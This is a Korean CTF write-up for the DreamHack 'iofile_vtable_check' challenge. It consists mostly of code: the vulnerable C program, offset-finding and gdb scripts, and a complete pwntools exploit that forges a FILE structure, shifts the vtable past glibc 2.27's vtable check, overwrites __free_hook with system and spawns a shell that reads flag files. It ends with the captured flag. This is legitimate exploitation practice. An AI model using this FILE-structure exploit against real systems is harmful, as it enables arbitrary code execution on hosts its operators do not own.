[🥇 Gold 3] IO_FILE vtable 검증을 8바이트로 비껴가기 — DreamHack iofile_vtable_check 풀이

file extracted/iofile_vtable_check; pwn checksec extracted/iofile_vtable_check

// gcc -o vtable_bypass vtable_bypass.c -no-pie
FILE * fp;
 
int main()
{
    initialize();                       // setvbuf(stdin/stdout, _IONBF), alarm(60)
 
    fp = fopen("/dev/urandom", "r");
    printf("stdout: %p\n", stdout);     // ← libc leak 을 공짜로 준다
    printf("Data: ");
    read(0, fp, 300);                   // ← FILE 구조체 300바이트 통째 위조
 
    if (*(long*)((char*) fp + 0xe0) != 0)   // ← 가드
    {
        exit(0);
    }
 
    fclose(fp);                         // ← 위조본을 처리
}

# vtable_offsets.py — _IO_file_jumps 를 8바이트 밀면 SYSWRITE 슬롯에 _IO_file_read 가 온다.
import struct
from pwn import ELF
 
e = ELF("extracted/libc.so.6", checksec=False)
data = open("extracted/libc.so.6", "rb").read()
rev = {v: k for k, v in e.symbols.items()}
 
fj = e.symbols["_IO_file_jumps"]
sec = next(s for s in e.sections if s.name == "__libc_IO_vtables")
lo, hi = sec.header.sh_addr, sec.header.sh_addr + sec.header.sh_size
 
def foff(va):
    for seg in e.segments:
        h = seg.header
        if h.p_type == "PT_LOAD" and h.p_vaddr <= va < h.p_vaddr + h.p_filesz:
            return h.p_offset + va - h.p_vaddr
 
def slot(va):
    return struct.unpack("<Q", data[foff(va):foff(va) + 8])[0]
 
print("__libc_IO_vtables : 0x%06x .. 0x%06x" % (lo, hi))
print("_IO_file_jumps    : 0x%06x" % fj)
print("vtable  (shift -8): 0x%06x   (여전히 섹션 안 → IO_validate_vtable 통과)" % (fj - 8))
print()
print("_IO_do_write 가 부르는 슬롯은 vtable + 0x78 (_IO_SYSWRITE)")
print("  정상 vtable: *(0x%06x + 0x78) = 0x%06x  %s" % (fj, slot(fj + 0x78), rev.get(slot(fj + 0x78), "")))
print("  밀린 vtable: *(0x%06x + 0x78) = 0x%06x  %s" % (fj - 8, slot(fj - 8 + 0x78), rev.get(slot(fj - 8 + 0x78), "")))
print()
print("→ SYSWRITE(fp, _IO_write_base, n) 가 _IO_file_read 로 바뀐다")
print("  = read(fp->_fileno, _IO_write_base, n)  ⇒ 임의 주소 쓰기")

python3 vtable_offsets.py

objdump -d extracted/libc.so.6 --start-address=0x8ceb4 --stop-address=0x8cf52 | sed -f annot_dowrite.sed

# verify_syswrite.gdb
set pagination off
set confirm off
set disable-randomization on
start
printf "=== _IO_do_write 의 SYSWRITE 간접호출 ===\n"
x/3i _IO_do_write+0xa7
printf "\n=== 정상 vtable: *(_IO_file_jumps + 0x78) ===\n"
x/a (char*)&_IO_file_jumps+0x78
printf "\n=== 밀린 vtable: *((_IO_file_jumps-8) + 0x78) ===\n"
x/a (char*)&_IO_file_jumps-8+0x78
quit

gdb -q -batch -x verify_syswrite.gdb ./local16/iofile_vtable_check 2>/dev/null

python3 solve_syswrite.py 127.0.0.1 7183 --libc extracted/libc.so.6

python3 solve_syswrite.py 127.0.0.1 7186 --libc local16/libc.so.6

#!/usr/bin/env python3
"""
iofile_vtable_check (DreamHack #57, Gold 3) — 패치된 glibc 2.27-3ubuntu1.6 에서도 통하는 풀이.
 
원격 libc 는 _IO_str_finish 의 _s._free_buffer 간접호출이 free() 로 치환된 빌드라
고전 "_IO_str_jumps -> system" 경로가 죽어 있다. 대신 FILE 안 함수포인터를 하나도 안 쓰고,
IO_validate_vtable 을 통과하는 vtable 을 8바이트만 밀어서(_IO_file_jumps - 8) 푼다.
 
  vtable = _IO_file_jumps - 8  =>  SYSWRITE 슬롯(vtable+0x78) 에 _IO_file_read 가 온다.
 
  fclose(fp)
    -> _IO_file_close_it            (_flags & 0x808 == 0x800)
       -> _IO_do_flush -> _IO_do_write -> _IO_SYSWRITE(fp, _IO_write_base, n)
          == _IO_file_read(fp, _IO_write_base, n) == read(_fileno, _IO_write_base, n)
          ==> 임의 주소 쓰기 (stdin 에서 우리가 보낸 값이 그대로 들어간다) → __free_hook = system
       -> _IO_unsave_markers -> _IO_free_backup_area -> free(fp->_IO_save_base)
          ==> __free_hook("/bin/sh") == system("/bin/sh")
 
사용:
  python3 solve_syswrite.py <host> <port> [--libc <경로>]
  python3 solve_syswrite.py --local            # local16/ (원격과 바이트 동일한 2.27-3ubuntu1.6)
"""
import argparse
import struct
import sys
import time
 
from pwn import context, process, remote, ELF
 
# _IO_2_1_stdout_ 기준 상대 오프셋 — 2.27 계열은 전부 같다(1.0/1.5/1.6 확인).
OFF_STDOUT = 0x3EC760
 
p64 = lambda x: struct.pack("<Q", x & 0xFFFFFFFFFFFFFFFF)
 
# FILE 필드 오프셋 (x86_64)
F_FLAGS = 0x00
F_READ_END = 0x10
F_WRITE_BASE = 0x20
F_WRITE_PTR = 0x28
F_BUF_BASE = 0x38
F_SAVE_BASE = 0x48
F_MARKERS = 0x60
F_FILENO = 0x70
F_FLAGS2 = 0x74
F_CUR_COLUMN = 0x80
F_MODE = 0xC0
F_VTABLE = 0xD8
F_LOCK_GUARD = 0xE0  # struct locked_FILE 의 lock — 문제의 exit(0) 가드
 
# _flags: MAGIC | IS_FILEBUF(0x2000) | USER_LOCK(0x8000) | CURRENTLY_PUTTING(0x800)
#   USER_BUF(0x1)·NO_WRITES(0x8)·IN_BACKUP(0x100)·IS_APPENDING(0x1000) 은 전부 0 이어야 한다.
FLAGS = 0xFBAD0000 | 0x2000 | 0x8000 | 0x800
 
 
def build_payload(libc_base, sym):
    """300바이트 FILE 위조본을 만든다."""
    free_hook = libc_base + sym["__free_hook"]
    binsh = libc_base + sym["binsh"]
    vtable = libc_base + sym["_IO_file_jumps"] - 8
 
    buf = bytearray(300)
 
    def put(off, val):
        buf[off:off + 8] = p64(val)
 
    put(F_FLAGS, FLAGS)
    # _IO_read_end == _IO_write_base 여야 new_do_write 가 _IO_SYSSEEK 를 건너뛴다.
    put(F_READ_END, free_hook)
    put(F_WRITE_BASE, free_hook)
    put(F_WRITE_PTR, free_hook + 8)  # 쓰기 길이 = 8
    put(F_BUF_BASE, 0)
    put(F_SAVE_BASE, binsh)          # free(save_base) 의 인자 = system 의 인자
    put(F_MARKERS, 0)
    buf[F_FILENO:F_FILENO + 4] = struct.pack("<i", 0)      # stdin = 소켓
    buf[F_FLAGS2:F_FLAGS2 + 4] = struct.pack("<I", 0x20)   # _IO_FLAGS2_NOCLOSE
    buf[F_CUR_COLUMN:F_CUR_COLUMN + 2] = b"\x00\x00"       # _IO_adjust_column 회피
    buf[F_MODE:F_MODE + 4] = struct.pack("<i", 0)          # 좁은 문자 경로
    put(F_VTABLE, vtable)
    put(F_LOCK_GUARD, 0)             # 가드: 여기가 0 이 아니면 exit(0)
    return bytes(buf), free_hook, binsh, vtable
 
 
def libc_symbols(path):
    e = ELF(path, checksec=False)
    data = open(path, "rb").read()
    idx = data.find(b"/bin/sh\x00")
    binsh = None
    for seg in e.segments:
        if seg.header.p_type == "PT_LOAD" and seg.header.p_offset <= idx < seg.header.p_offset + seg.header.p_filesz:
            binsh = seg.header.p_vaddr + idx - seg.header.p_offset
            break
    return {
        "_IO_2_1_stdout_": e.symbols["_IO_2_1_stdout_"],
        "_IO_file_jumps": e.symbols["_IO_file_jumps"],
        "__free_hook": e.symbols["__free_hook"],
        "system": e.symbols["system"],
        "binsh": binsh,
    }
 
 
def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("host", nargs="?")
    ap.add_argument("port", nargs="?", type=int)
    ap.add_argument("--libc", default="local16/libc.so.6")
    ap.add_argument("--local", action="store_true", help="local16/iofile_vtable_check 를 직접 실행")
    args = ap.parse_args()
 
    context.log_level = "info"
    sym = libc_symbols(args.libc)
 
    io = process("./local16/iofile_vtable_check") if args.local else remote(args.host, args.port)
 
    io.recvuntil(b"stdout: ")
    leak = int(io.recvline().strip(), 16)
    libc_base = leak - sym["_IO_2_1_stdout_"]
    print("[*] stdout   = 0x%x" % leak)
    print("[*] libc base= 0x%x" % libc_base)
    if libc_base & 0xFFF:
        print("[!] libc base 가 페이지 정렬이 아니다 — libc 버전이 다르다")
        return 1
 
    payload, free_hook, binsh, vtable = build_payload(libc_base, sym)
    print("[*] vtable   = 0x%x  (_IO_file_jumps-8, __libc_IO_vtables 안)" % vtable)
    print("[*] __free_hook = 0x%x  <- read(0, here, 8)" % free_hook)
    print("[*] /bin/sh  = 0x%x  <- free() 인자" % binsh)
    print("[*] system   = 0x%x" % (libc_base + sym["system"]))
 
    io.recvuntil(b"Data: ")
    # 1단계 FILE(300B) + 2단계 system 주소(8B)를 한 번에 보낸다.
    # 프로그램의 read(0,fp,300) 은 정확히 300B 만 소비하고, 남은 8B 는 커널 소켓
    # 버퍼에 남아 fclose 안의 SYSWRITE→read(0,__free_hook,8) 가 바로 가져간다.
    # 두 번의 send 사이 네트워크 지연에 의한 short-read 레이스를 없앤다.
    io.send(payload + p64(libc_base + sym["system"]))
 
    time.sleep(0.5)
    # 셸에서 flag 를 확실히 받아온다. 구분자로 감싸 라이브에서도 놓치지 않게.
    io.sendline(b"echo ===SHELL_OK===; id; cat /flag* flag* /home/*/flag* 2>/dev/null; echo ===END===")
    try:
        out = io.recvuntil(b"===END===", timeout=5)
    except Exception:
        out = b""
    if out:
        try:
            print(out.decode(errors="replace"))
        except Exception:
            print(repr(out))
    # 그래도 남은 출력이 있으면 마저 긁는다
    try:
        rest = io.recv(timeout=1)
        if rest:
            print(rest.decode(errors="replace"))
    except Exception:
        pass
    try:
        io.interactive()
    except Exception:
        pass
    return 0
 
 
if __name__ == "__main__":
    sys.exit(main())

python3 leak_file.py host3.dreamhack.games 15486 leak-0x3ec760+0x1bb800 0x90

python3 solve_syswrite.py host3.dreamhack.games 15486 --libc extracted/libc.so.6

DH{5b042802448cd05f035aed55f8e7af0b}